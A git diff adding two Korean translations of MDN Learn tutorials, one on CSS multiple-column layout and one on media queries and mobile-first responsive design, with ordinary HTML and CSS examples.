+ + diff --git a/files/ko/learn/css/css_layout/multiple-column_layout/index.html b/files/ko/learn/css/css_layout/multiple-column_layout/index.html new file mode 100644 index 0000000000..70f13c6c39 --- /dev/null +++ b/files/ko/learn/css/css_layout/multiple-column_layout/index.html @@ -0,0 +1,415 @@ +--- +title: 다단 레이아웃 +slug: Learn/CSS/CSS_layout/Multiple-column_Layout +tags: + - CSS 붕괴 + - 다단 + - 다단 레이아웃 + - 안내서 + - 초보자 + - 학습 +translation_of: Learn/CSS/CSS_layout/Multiple-column_Layout +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout")}}
+ +

CSS 다단 레이아웃 규격은 신문에서 볼 수 있듯이 콘텐츠를 단으로 배치하는 방법을 제공합니다. 이 문서는 그 기능을 어떻게 사용하는지 설명합니다.

+ + + + + + + + + + + + +
선결 사항:HTML의 기초 (HTML 입문서)와 CSS 작동 방식에 대한 개념(CSS 입문서를 공부하세요.)
목표:신문에서 찾을 수 있는 것과 같은 웹 페이지상에 다단 레이아웃을 만드는 방법을 학습합니다.
+ +

기본 사례

+ +

이제 다단 레이아웃을 사용하는 방법을 탐색할 것입니다. 이를 일컬어 multicol(다단)로 통칭합니다. 아래 내용을 따라하려면 다단 착수 파일을 다운로드하고 적절한 장소에 CSS를 추가할 수 있습니다. 해당 섹션의 맨 아래에는 최종 코드가 어떻게 생겼는지에 대한 실제 예제가 있습니다.

+ +

우리의 착수 파일에는 아주 간단한 HTML이 포함되어 있습니다. 그 내용은 제목과 일부 단락이 내부에 있는 container 클래스 래퍼입니다.

+ +

컨테이너 클래스에 해당하는 {{htmlelement("div")}}는 다단 컨테이너가 될 예정입니다. {{cssxref("column-count")}} 혹은 {{cssxref("column-width")}} 속성 중의 하나를 사용해서 다단으로 전환합니다. column-count 속성은 당신이 부여하는 값만큼 다단을 생성하게 되며, 당신의 스타일시트에 다음과 같은 CSS를 추가하고 페이지를 새로고침하면 당신은 삼단 레이아웃을 얻게 됩니다:

+ +
.container {
+  column-count: 3;
+}
+
+ +

당신이 생성하는 단은 가변 너비를 갖게됩니다. 말하자면 브라우저가 각 단에 할당한 공간의 크기를 계산합니다.<

+ +
+ + +
<div class="container">
+  <h1>간단한 다단 예제</h1>
+
+  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+  Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse
+  ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit
+  quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+
+  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique
+  elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit
+  cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis
+  dis parturient montes, nascetur ridiculus mus.</p>
+</div>
+
+ +
.container {
+  column-count: 3;
+}
+
+
+ +

{{ EmbedLiveSample('다단_1', '100%', 400) }}

+ +

다음과 같이 column-width를 사용하여 당신의 CSS를 변경하세요:

+ +
.container {
+  column-width: 200px;
+}
+
+ +

이제 브라우저는 당신이 지정한 크기의 단을 최대한 많이 제공합니다. 남은 공간은 현존하는 단 사이 공평하게 배분됩니다. 즉, 컨테이너가 해당 너비로 정확히 나뉠 수 없는 경우를 제외하고는 지정한 너비를 정확히 얻을 수 없습니다.

+ +
+ + +
.container {
+  column-width: 200px;
+}
+
+
+ +

{{ EmbedLiveSample('다단_2', '100%', 400) }}

+ +

다단 스타일링

+ +

다단으로 작성된 단은 개별적으로 스타일링할 수 없습니다. 하나의 단을 다른 단보다 크게 만들거나 단일 단의 배경 또는 텍스트 색상을 변경할 수 있는 방법이 없습니다. 단이 표시되는 방식을 바꿀 수 있는 기회는 두 가지가 주어집니다.

+ + + +

상기 예제 용례에서 column-gap 속성을 추가해 간격의 크기를 변경하세요:

+ +
.container {
+  column-width: 200px;
+  column-gap: 20px;
+}
+ +

서로 다른 값을 가지고 마음대로 부릴 수 있습니다. 모든 길이 단위를 속성이 허용한다는 말입니다. 이제 column-rule를 가지고 다단 사이 규칙을 추가하세요. 이전 단원에서 접했던 {{cssxref("border")}} 속성과 비슷한 방식으로 column-rule는 {{cssxref("column-rule-color")}}와 {{cssxref("column-rule-style")}} {{cssxref("column-rule-width")}}의 약칭이며 border와 동일한 값을 허용합니다.

+ +
.container {
+  column-count: 3;
+  column-gap: 20px;
+  column-rule: 4px dotted rgb(79, 185, 227);
+}
+ +

다른 스타일과 색상 규칙을 추가하세요

+ +
+ +
+ +

{{ EmbedLiveSample('다단_3', '100%', 400) }}

+ +

주목할 점은 규칙이 자체적으로 폭을 점유하지 않는다는 것입니다. 규칙이 적용된 내용은 당신이 column-gap으로 생성된 간격을 가로질러 놓여 있습니다. 규칙을 따라 양쪽에 더 많은 공간을 만들려면 column-gap 크기를 늘려야 합니다.

+ +

Spanning columns

+ +

다단 레이아웃에 의해 콘텐츠가 span across 됩니다. 그것은 본질적으로 페이지 미디어상에 콘텐츠가 작동하는 것과 같은 방식으로 작동합니다. 예를 들면 웹페이지 인쇄가 그렇습니다. 콘텐츠를 다단 컨테이너로 만들면 다단으로 나눠지고, 그것이 가능해진 결과로 콘텐츠는 깨집니다.

+ +

때때로, 이런 깨짐 현상은 발생하는 위치에 따라 독서를 저해하는 경험을 낳을 것입니다. 아래의 실제 사용례에서 나는 다단을 사용하여 일련의 상자를 배치했는데, 각각에는 머리글과 약간의 텍스트가 들어 있습니다. 다단 사이가 단편화할 경우 제목은 텍스트와 분리됩니다.

+ +
+ + +
<div class="container">
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+    <div class="card">
+      <h2>나는 머리글이다.</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+    <div class="card">
+      <h2>나는 머리글이다.</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+    <div class="card">
+      <h2>나는 머리글이다.</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+    <div class="card">
+      <h2>나는 머리글이다.</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+    <div class="card">
+      <h2>나는 머리글이다.</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+    <div class="card">
+      <h2>나는 머리글이다.</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+</div>
+
+ +
.container {
+  column-width: 250px;
+  column-gap: 20px;
+}
+
+.card {
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
+  padding: 10px;
+  margin: 0 0 1em 0;
+}
+
+ +

{{ EmbedLiveSample('다단_4', '100%', 600) }}

+ +

이러한 동작을 제어하기 위해 CSS 붕괴 규격에 있는 속성을 사용할 수 있습니다. 우리는 이 규격에 있는 속성을 통해 다단과 페이지 미디어에 포함된 콘텐츠가 깨지는 것을 제어할 수 있습니다. 예를 들어, .card 클래스에 대한 규칙에 avoid 값을 사용한 {{cssxref("break-inside")}}을 추가하세요. 이것은 머리글과 텍스트로 구성된 컨테이너입니다. 따라서 우리는 이 상자를 분열하고 싶지 않습니다.

+ +

현 시점에 이전 속성인 page-break-inside: avoid을 최상의 브라우저 지원을 위해 추가할 가치가 있습니다.

+ +
.card {
+  break-inside: avoid;
+  page-break-inside: avoid;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+  padding: 10px;
+  margin: 0 0 1em 0;
+}
+
+ +

페이지를 새로고침하면 상자가 하나의 형태를 갖추고 있어야 합니다.

+ +
+ + +
.container {
+  column-width: 250px;
+  column-gap: 20px;
+}
+
+.card {
+  break-inside: avoid;
+  page-break-inside: avoid;
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
+  padding: 10px;
+  margin: 0 0 1em 0;
+}
+
+ +

{{ EmbedLiveSample('다단_5', '100%', 600) }}

+ +

요약정리

+ +

이제 당신이 현재 설계 중인 레이아웃 메서드를 선택할 때 맘껏 사용할 수 있는 다단 레이아웃의 기본 기능과 다른 도구를 사용하는 방법을 알게 되었습니다.

+ +

참조 항목

+ + + +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout")}}

+ +

이번 단위에는

+ + diff --git "a/files/ko/learn/css/css_layout/\353\257\270\353\224\224\354\226\264_\354\277\274\353\246\254_\354\264\210\353\263\264\354\236\220_\354\225\210\353\202\264\354\204\234/index.html" "b/files/ko/learn/css/css_layout/\353\257\270\353\224\224\354\226\264_\354\277\274\353\246\254_\354\264\210\353\263\264\354\236\220_\354\225\210\353\202\264\354\204\234/index.html" new file mode 100644 index 0000000000..cf13a1421c --- /dev/null +++ "b/files/ko/learn/css/css_layout/\353\257\270\353\224\224\354\226\264_\354\277\274\353\246\254_\354\264\210\353\263\264\354\236\220_\354\225\210\353\202\264\354\204\234/index.html" @@ -0,0 +1,424 @@ +--- +title: 미디어 쿼리 초보자 안내서 +slug: Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서 +tags: + - 미디어 쿼리 + - 씨에스에스 + - 조판 + - 초보자 + - 학습 +translation_of: Learn/CSS/CSS_layout/Media_queries +--- +

{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}

+ +

CSS Media Query는 예를 들어 "뷰포트가 480 픽셀보다 넓다."라고 여러분이 지정한 규칙에 브라우저 및 장치 환경이 일치하는 경우에만 씨에스에스를 적용할 수 있는 방법을 제공합니다. 미디어 쿼리는 반응형 웹 디자인의 핵심 부분이다. 뷰포트의 크기에 따라 서로 다른 조판을 생성할 수 있기 때문이다. 그러나 예를들면 사용자는 마우스가 아닌 터치스크린을 사용하는지와 같이 실행 중인 사이트 환경에 대한 여러 내용들을 탐지하는 데도 사용할 수 있습니다. 이번 단원에서는 먼저 미디어 쿼리에 사용된 구문에 대해 배우고, 이어 해당 구문을 가공의 예제에서 사용하여 간단한 디자인이 어떻게 반응할 수 있는지 살펴보겠습니다.

+ + + + + + + + + + + + +
선결 사항:에이치티엠엘의 기초인 (에이치티엠엘 입문서를 공부하세요), 그리고 씨에스에스의 작동 방식을 파악하기 위해 (씨에스에스 첫걸음씨에스에스 구성 블록를 공부하세요.)
목표:미디어 쿼리를 사용하는 방법과 그걸 이용해 반응형 디자인을 생성하기 위한 가장 대표적인 접근법 파악하기.
+ +

미디어 쿼리 기본

+ +

가장 간단한 미디어 쿼리 구문은 다음과 같습니다:

+ +
@media media-type and (media-feature-rule) {
+  /* CSS rules go here */
+}
+ +

미디어 쿼리 구문의 구성 요소:

+ + + +

미디어 유형

+ +

당신이 지정할 수 있는 미디어 유형

+ + + +

다음 미디어 쿼리는 페이지가 인쇄된 경우에만 본문을 12pt로 설정합니다. 페이지가 브라우저에 로드될 때에는 적용되지 않습니다.

+ +
@media print {
+    body {
+        font-size: 12pt;
+    }
+}
+ +
+

참고: 수준 3 미디어 쿼리 규격에 정의된 여러 가지 다른 미디어 유형이 있습니다. 이들은 사장되었으니 피해야 합니다.

+
+ +
+

참고: 미디어 유형은 선택사항입니다. 미디어 쿼리에 미디어 유형을 표시하지 않으면 미디어 쿼리는 기본값으로 모든 미디어 유형에 대한 것으로 해석됩니다.

+
+ +

미디어 기능 규칙

+ +

미디어 유형을 지정한 뒤에 규칙을 적용할 미디어 기능을 선정할 수 있습니다.

+ +

너비와 높이

+ +

반응형 디자인을(그리고 광범위한 브라우저 지원이 되도록) 만들기 위해 가장 자주 탐문하는 기능은 뷰포트 너비이며, min-widthmax-width, width 등의 미디어 기능을 활용하여 뷰포트가 특정 너비 이상 또는 이하인 경우 씨에스에스를 적용할 수 있습니다.

+ +

이러한 특징들은 다른 화면 크기에 반응하는 조판을 생성하는 데 사용됩니다. 예를 들어 뷰포트가 정확히 600픽셀인 경우 본문 색상을 빨간색으로 변경하려면 다음과 같은 미디어 쿼리를 사용합니다.

+ +
@media screen and (width: 600px) {
+    body {
+        color: red;
+    }
+}
+ +

이 예제를 브라우저에서 열거나 소스를 보세요.

+ +

width(및 height) 미디어 기능은 범위 지정에 사용될 수 있다. 따라서 min- or max- 접두사를 붙이게 되면 최소값인지 최대값인지 표시할 수 있다. 예를 들어 뷰포트가 400 픽셀보다 좁은 경우 색깔을 파란색으로 만들기 위해 max-width:를 사용할 수 있다.

+ +
@media screen and (max-width: 400px) {
+    body {
+        color: blue;
+    }
+}
+ +

이 예제를를 브라우저에서 열거나 소스를 보세요.

+ +

실제로 최소값 또는 최대값을 사용하는 것이 반응형 디자인인 경우에 훨씬 유용하므로 width 또는 height 값을 사용하는 경우는 좀처럼 흔치앖습니다.

+ +

미디어 쿼리 규격 수준 4 및 5에 소개된 최신 기능 중 일부가 제한적으로 브라우저 지원이 되지만, 당신이 테스트할 수 있는 다른 여러 미디어 기능이 있습니다. 각 기능은 브라우저 지원 정보와 함께 MDN에 문서화되어 있으니만큼 당신은 미디어 쿼리 사용: 미디어 기능에서 전체 목록을 찾을 수 있습니다.

+ +

방향성

+ +

잘 지원되는 미디어 기능 중 하나는 orientation로 세로 모드인지 가로 모드인지를 검사할 수 있도록 해줍니다. 장치가 가로 방향에 있는 경우 본문 텍스트 색상을 변경하려면 다음과 같은 미디어 쿼리를 사용합니다.

+ +
@media (orientation: landscape) {
+    body {
+        color: rebeccapurple;
+    }
+}
+ +

이 예제를 브라우저에서 열거나 소스를 보세요.

+ +

표준 데스크톱 뷰에는 가로 방향이 주종을 이루고 있으며, 이 가로 방향에서 잘 작동하는 디자인은 휴대폰 또는 태블릿상에서 세로 모드로 볼 때 잘 작동하지 않을 수 있습니다. (가로/세로 모드의) 방향성 테스트는 여러분이 세로 모드의 장치에 최적화된 조판을 생성할 수 있게 도움을 줄 수 있습니다.

+ +

포인팅 장치의 사용

+ +

수준 4 규격의 일부로 hover 미디어 기능이 도입되었다. 이 기능은 사용자가 요소 위에 (마우스 커서를) 올릴 수 있는 능력을 가진 조건인지를 시험할 수 있다는 것을 의미합니다. 본질적으로 사람들이 어떤 종류의 포인팅 장치를 사용하는지를 말합니다. 터치 스크린 및 키보드 네비게이션은 요소 위에 식별자를 올릴 수 없습니다.

+ +
@media (hover: hover) {
+    body {
+        color: rebeccapurple;
+    }
+}
+ +

이 예제를 브라우저에서 열거나 소스를 보세요.

+ +

사용자가 포인팅 장치를 사용할 수 없다고 파악했다면 기본적으로 대화형 기능을 표시할 수 있습니다. 포인팅 장치를 사용할 수 있는 사용자의 경우 링크에 마우스를 올리는 기능을 이용하도록 선택할 수 있습니다.

+ +

마찬가지로 pointer 미디어 기능이 수준 4 규격에 포함되어 있다. 이것은 nonefine coarse의 세 가지 값을 취할 수 있다. fine 포인터는 마우스나 트랙패드와 같은 것이다. 이 값으로 사용자가 작은 영역을 정확하게 공략할 수 있게 된다. coarse 포인터는 터치스크린상에 손가락을 말한다. none 값은 사용자가 포인팅 장치가 없다는 의미이다. 아마도 키보드 단독 또는 음성 명령으로 탐색하고 있다고 하겠다.

+ +

pointer 사용이 당신에게 주는 잇점이 있다면 사용자가 화면상에서 상호 작용하는 유형에 반응하는 더 나은 인터페이스를 설계할 수 있다는 것입니다. 예를 들어, 사용자가 터치스크린으로 장치와 상호 작용하고 있다는 것을 알면 히트 영역을 더 크게 만들 수 있습니다.

+ +

더 복잡한 미디어 쿼리

+ +

당신은 가능한 모든 이종의 미디어 쿼리를 가지고 그것들을 결합하거나, 쿼리 목록을 만들고 싶을 수도 있다. 그 중 어느 경우가 (조건문과) 일치할 수 있습니다.

+ +

"논리곱" 미디어 쿼리

+ +

and를 사용해 미디어 기능을 결합할 수 있습니다. 이는 마치 앞에서 미디어 유형과 기능을 결합하기 위해 and를 사용했던 방식과 같습니다. 예를 들어, min-widthorientation의 논리곱 조건을 테스트해보고 싶을 수도 있습니다. 여기서 에이치티엠엘 본문 텍스트가 파란색이 되는 유일한 경우는 뷰포트의 너비가 최소 400픽셀 이상이고 장치가 가로 모드인 경우에만 해당합니다.

+ +
@media screen and (min-width: 400px) and (orientation: landscape) {
+    body {
+        color: blue;
+    }
+}
+ +

이 예제를 브라우저에서 열거나 소스를 보세요.

+ +

"논리합" 미디어 쿼리

+ +

만약 여러분에게 쿼리는 잔뜩있는 데, 그 중 일도 일치할 수 없다면, 여러분은 해당 쿼리들을 콤마로 분리할 수 있습니다. 아래 예제에서 뷰포트가 최소 400픽셀 너비 또는 장치가 가로 보기 방향이라면 텍스트는 파란색이 될 것입니다. 둘 중 하나라도 사실이 아니라면 쿼리의 조건문은 일치합니다.

+ +
@media screen and (min-width: 400px), screen and (orientation: landscape) {
+    body {
+        color: blue;
+    }
+}
+ +

이 예제를 브라우저에서 열거나 소스를 보세요.

+ +

"

+ +

"부정 논리" 미디어 쿼리

+ +

not 연산자를 사용하여 전체 미디어 쿼리를 부정할 수 있습니다. 이것은 미디어 쿼리의 전체 의미를 반대로 뒤집습니다. 따라서 다음 예에서 텍스트는 보기 방향이 세로일 경우에만 파란색이 됩니다.

+ +
@media not all and (orientation: landscape) {
+    body {
+        color: blue;
+    }
+}
+ +

이 예제를 브라우저에서 열거나 소스를 보세요.

+ +

분기점을 선정하는 방법

+ +

반응형 디자인 초창기에는 많은 디자이너가 매우 구체적인 화면 크기를 공략 대상으로 삼으려고 시도했습니다. 인기있는 휴대폰 및 태블릿 화면의 크기 목록이 공개되어 해당 기기의 뷰포트와 깔끔하게 일치하도록 디자인을 만들 수 있게 되었습니다.

+ +

지금은 엄청나게 다양한 크기의 지나치게 너무 많은 장치가 있어 그런 방식은 현실성이 없습니다. 즉, 모든 디자인마다 (기기의) 특정 크기에 맞추는 공략보다 더 나은 접근 방법은 콘텐츠가 어떤 식으로든 깨지기 시작하는 해당 (기기의) 크기에 해당하는 디자인을 변경하는 것입니다. 어쩌면 선 길이가 너무 길어지거나 상자 형태의 사이드바가 찌그러져 읽기가 어려워질 수도 있습니다. 그 지경이 되면 미디어 쿼리를 사용하여 이용할 수 있는 공간 대비 개선된 형태의 사이트가 나오도록 디자인을 변경해야할 지점인 것입니다. 이는 사용 기기의 정확한 화면 크기가 무엇이든 상관없이 모든 범주에 맞는 전방위적인 접금법을 말합니다. 미디어 쿼리가 도입되는 지점을 breakpoints라고 합니다.

+ +

Firefox DevTools의 반응형 디자인 모드는 이러한 분기점이 어느 부분이 될지 알아내는 데 매우 유용합니다. 동 툴은 미디어 쿼리를 추가하고 디자인을 조정하면서 콘텐츠가 개선되는 위치를 파악하기 위해 뷰포트를 쉽게 크거나 작게 만들 수 있습니다.

+ +

파이어폭스 개발툴상에 조판 갈무리

+ +

능동 학습: 모바일 우선 반응형 디자인

+ +

대체로 반응형 디자인에 대한 두 가지 접근법을 취할 수 있습니다. 데스크톱 또는 가장 넓은 뷰로 시작한 뒤 뷰포트의 축소에 맞춰 요소를 주변으로 이동시키기 위한 분기점을 추가하거나 가장 작은 뷰로 시작한 뒤에 뷰포트의 크기 확대에 맞춰 조판을 추가할 수 있습니다. 이 두 번째 접근법은 mobile first 반응형 디자인으로 설명되며 종종 선호되는 최상의 접근법입니다.

+ + + +

가장 작은 장치용 뷰는 일반 대열에서 나타나는 것처럼 종종 단순한 단일 열 형태의 콘텐츠가 됩니다. 즉 여러분은 작은 장치용이라 많은 조판을 할 필요가 없다는 말입니다. 다시말해 소스를 순서대로 잘 정렬하면 기본값으로 읽을 수 있는 조판이 됩니다.

+ +

아래의 길라잡이는 매우 간단한 조판으로 동 접근 방식을 안내해 줄 것입니다. 사이트 제작 과정에서는 미디어 쿼리내에서 조정할 수 있는 것이 더 많을 수 있지만, 그 접근 방식은 정확히 동일하게 됩니다.

+ +

길라잡이: 간단한 모바일 우선 조판

+ +

우리는 조판에 포함된 다양한 요소에 배경색을 추가하기 위해 일정한 씨에스에스를 적용한 에이치티엠엘 문서를 가지고 출발합니다.

+ +
* {
+    box-sizing: border-box;
+}
+
+body {
+    width: 90%;
+    margin: 2em auto;
+    font: 1em/1.3 Arial, Helvetica, sans-serif;
+}
+
+a:link,
+a:visited {
+    color: #333;
+}
+
+nav ul,
+    aside ul {
+    list-style: none;
+    padding: 0;
+}
+
+nav a:link,
+nav a:visited {
+    background-color: rgba(207, 232, 220, 0.2);
+    border: 2px solid rgb(79, 185, 227);
+    text-decoration: none;
+    display: block;
+    padding: 10px;
+    color: #333;
+    font-weight: bold;
+}
+
+nav a:hover {
+    background-color: rgba(207, 232, 220, 0.7);
+}
+
+.related {
+    background-color: rgba(79, 185, 227, 0.3);
+    border: 1px solid rgb(79, 185, 227);
+    padding: 10px;
+}
+
+.sidebar {
+    background-color: rgba(207, 232, 220, 0.5);
+    padding: 10px;
+}
+
+article {
+    margin-bottom: 1em;
+}
+
+ +

우리는 우리가 조판에 변경을 가하지는 않았지만, 문서의 원본은 콘텐츠를 읽을 수 있는 방식으로 순서대로 정렬됩니다. 이것은 중요한 첫 번째 단계이며, 콘텐츠가 화면 읽기 프로그램(tts)에 의해 소리내여 읽혀질 경우 콘텐츠가 (읽을 문자열를) 이해될 수도록 보장합니다.

+ +
<body>
+    <div class="wrapper">
+      <header>
+        <nav>
+          <ul>
+            <li><a href="">사이트 소개</a></li>
+            <li><a href="">연락처</a></li>
+            <li><a href="">우리팀 안내</a></li>
+            <li><a href="">블로그</a></li>
+          </ul>
+        </nav>
+      </header>
+      <main>
+        <article>
+          <div class="content">
+            <h1>채식주의자!</h1>
+            <p>
+              ...
+            </p>
+          </aside>
+        </article>
+
+        <aside class="sidebar">
+          <h2>채식에 관한 외부 링크</h2>
+          <ul>
+            <li>
+              ...
+            </li>
+          </ul>
+        </aside>
+      </main>
+
+      <footer><p>&copy;2019</p></footer>
+    </div>
+  </body>
+
+ +

이 간단한 조판은 모바일에서도 잘 작동한다. 우리가 파이어폭스 데브툴 내부 반응형 디자인 모드에서 조판을 본다면, 우리는 그것이 사이트의 직관적인 모바일 뷰로 보더라도 꽤 잘 작동한다는 것을 알 수 있다.

+ +

이 예제를 브라우저에서 열거나 소스를 보세요.

+ +

당신이 우리의 진행 과정대로 이 예제를 실행해보려면 step1.html의 사본을 당신 컴퓨터에 만드세요.

+ +

이 지점부터는 반응형 디자인 모드뷰가 점차 확대되어 라인 길이가 상당히 길어지는 모습을 확인할 정도가 되며, 수평선 형태의 탐색 메뉴가 표시될 공간을 갖추고 있습니다. 여기에서 우리는 첫 번째 미디어 쿼리를 추가할 것입니다. 사용자가 텍스트 크기를 늘리게 되면, 텍스트 크기가 작은 장비를 가진 사람과 비교해 비슷한 라인 길이지만 뷰포트가 확대되는 순간에 분기점이 발생한다는 의미입니다. 따라서 우리는 ems 단위를 사용할 것입니다.

+ +

아래 코드를 step1.html 씨에스에스의 하단에 추가하세요.

+ +
@media screen and (min-width: 40em) {
+    article {
+        display: grid;
+        grid-template-columns: 3fr 1fr;
+        column-gap: 20px;
+    }
+
+    nav ul {
+        display: flex;
+    }
+
+    nav li {
+        flex: 1;
+    }
+}
+
+ +

이 씨에스에스는 문서 안에 있는 문서 콘텐츠와 aside 요소 내부 관련 정보까지 2단 조판을 우리에게 제공합니다. 또한 우리는 가변상자를 사용하여 탐색 메뉴를 일렬로 배치했습니다.

+ +

2단계 파일을 브라우저에서 열거나 소스를 보세요.

+ +

사이드바가 새 단을 형성할 수 있는 충분한 공간이 있다고 느낄 때까지 너비를 계속 확장합니다. 미디어 쿼리안에서 주요 요소를 두 개의 열 형태의 격자로 만들 것입니다. 그런 다음 두 개의 사이드바가 서로 나란히 정렬되도록 문서의 {{cssxref("margin-bottom")}}을 제거해야하며, 바닥글 상단에 {{cssxref("border")}}(테두리)를 추가하게 됩니다. 일반적으로 이러한 미세 조정은 각 분기점 도달시 디자인을 좋게 보이게 하기 위해 여러분이 할 일입니다.

+ +

다시 한 번 아래 코드를 step1.html 씨에스에스의 하단에 추가합니다.

+ +
@media screen and (min-width: 70em) {
+    main {
+        display: grid;
+        grid-template-columns: 3fr 1fr;
+        column-gap: 20px;
+    }
+
+    article {
+        margin-bottom: 0;
+    }
+
+    footer {
+        border-top: 1px solid #ccc;
+        margin-top: 2em;
+    }
+}
+
+ +

3단계 파일을 브라우저에서 열거나 소스를 보세요.

+ +

최종 예제를 다른 너비로 보면 사용 가능한 너비에 따라 디자인이 반응하고 단일 열, 2열 또는 3열로 작동하는 방법을 볼 수 있습니다. 이것은 모바일 우선 반응형 디자인의 아주 간단한 예입니다.

+ +

당신에게 정말 미디어 쿼리가 필요할까요?

+ +

가변상자, 격자 및 다단 조판은 모두 굳이 미디어 쿼리를 필요로 하지 않고도 가변적이며 심지어 반응형 구성 요소를 만들 수 있는 방법을 제공합니다. 미디어 쿼리를 추가하지 않고도 이러한 조판 메서드를 사용해 원하는 것을 달성할 수 있는지 고려할 가치가 있습니다. 예를 들어, 여러분은 적어도 200 픽셀 너비의 카드 집합을 원할 수 있으며, 최대 200 픽셀이라면 주요 문서 부분에 맞아떨어질 수 있습니다. 이는 미디어 쿼리를 전혀 사용하지 않고 격자 조판만으로 얻을 수 있습니다.

+ +

이것은 아래 용법으로 달성될 수 있습니다.

+ +
<ul class="grid">
+    <li>
+        <h2>카드 1</h2>
+        <p>...</p>
+    </li>
+    <li>
+        <h2>카드 2</h2>
+        <p>...</p>
+    </li>
+    <li>
+        <h2>카드 3</h2>
+        <p>...</p>
+    </li>
+    <li>
+        <h2>카드 4</h2>
+        <p>...</p>
+    </li>
+    <li>
+        <h2>카드 5</h2>
+        <p>...</p>
+    </li>
+</ul>
+ +
.grid {
+    list-style: none;
+    margin: 0;
+    padding: 0;
+    display: grid;
+    gap: 20px;
+    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+
+.grid li {
+    border: 1px solid #666;
+    padding: 10px;
+}
+ +

이 격자 예제를 브라우저에서 열거나 소스를 보세요.

+ +

상기 예제를 브라우저에서 열면 화면을 넓히거나 좁히거나 하여 열 트랙 수가 변경되는 것을 확인할 수 있습니다. 이 방법의 좋은 점은 격자가 뷰포트 너비를 보는 게 아니라 해당 구성 요소에 맞춰 이용할 수 있는 너비를 살핀다는 것입니다. 당신에게 미디어 쿼리가 전혀 필요하지 않을수도! 있다는 제안으로 이번 절을 마감하는 것은 이상하게 보일 수도 있습니다. 그러나 실제로 미디어 쿼리로 강화된 현대적 조판 메서드를 잘 사용하면 최상의 결과를 얻을 수 있습니다.

+ +

요약정리

+ +

여러분은 이 단원에서 미디어 쿼리에 대해 배웠으며 모바일 우선 반응형 디자인을 실제로 생성하는 방법도 알아 보았습니다.

+ +

